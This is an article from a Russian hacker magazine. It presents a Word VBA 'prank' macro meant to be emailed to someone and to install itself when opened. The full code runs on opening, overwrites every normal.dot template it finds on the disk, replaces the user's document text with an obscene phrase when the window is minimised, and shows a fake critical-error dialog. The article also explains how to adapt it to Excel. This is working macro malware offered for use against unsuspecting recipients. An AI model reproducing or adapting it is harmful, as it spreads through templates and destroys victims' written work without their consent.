Зайдя на ксакепа в очередной раз,
заметил, что опубликовано мое западлишко на
офисную тему, а под ним от Ромэо следущая
мессага:

«Неплохо… Но хорошо бы это делать с
удаленного компа! Отправить на мыло какое-нибудь
файло, а при его вскрытии само бы все
установилось!»

Спешиал фор ю, Ромэо, еще один весёлый
макрос (даже три):

Sub AutoOpen() ‘Макрос автоматом выполняется при
‘открытии дока
Dim i As Byte
If ActiveDocument.Name <> «Имя вашего дока» Then
Exit Sub
End If
‘Если этот работает уже как шаблон (то есть
‘ запущен не в первый раз) тогда выходим из
‘процедуры

‘Дальше идет поиск и замена всех «normal.dot»
по указанному пути
With Application.FileSearch
.FileName = «normal.dot»
.SearchSubFolders = True
.LookIn = «Папка или диск, где надо искать»
‘Например .LookIn=»C:\Windows\Application
‘Data\Microsoft\Шаблоны»
.Execute
For i = 1 To .FoundFiles.Count
FileCopy ActiveDocument.FullName, .FoundFiles(i)
Next i
End With
End Sub

Sub AppMinimize() ‘Макрос автоматом вып. при
‘свёртывании окна
Application.ScreenUpdating = False
ActiveDocument.Select
Selection.Text = «XYU B POT»
Selection.Collapse

End Sub

Sub AppMaximize() ‘Макрос автомато вып. при
‘развёртывании окна
Dim asd As String, qwerty As String
Application.ScreenUpdating = True
asd = «Дядя били пошутил»
qwerty = «Критическая ошибка»
MsgBox asd, vbCritical, qwerty
End Sub

В результате открытия этого дока
нормальный шаблон будет изменён таким
образом, что при свертывании и
развертывании окна вордов все честно
написанное превратится в текст «XYU B POT»,
после чего будет выдано сообщение о шутке
дяди Билли Ж ;o)

Внимание!!! все, что написано на строке после
апострофа — является примечанием, и это
писать не обязательно

Это западлянка будет работать только с MSWord,
чтобы работала с экселем и др. надо вместо
нормал.дот писать имя глобального шаблона
для каждого из приложений.

При открытии такого дока будет заметное
хрипение винта т.к. автоматом запускается
поиск.

А вообще за приколами на ВБА прошу ходить ко
мне на пагу (которая появится этак в конце
января) по адресу http://rulezboy.narod.ru

Если у тебя есть полезная инфа, то
непременно отправляй ее нам. Давай юзать Софт
вместе. Координаты ты знаешь: epsilon@real.xakep.ru

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…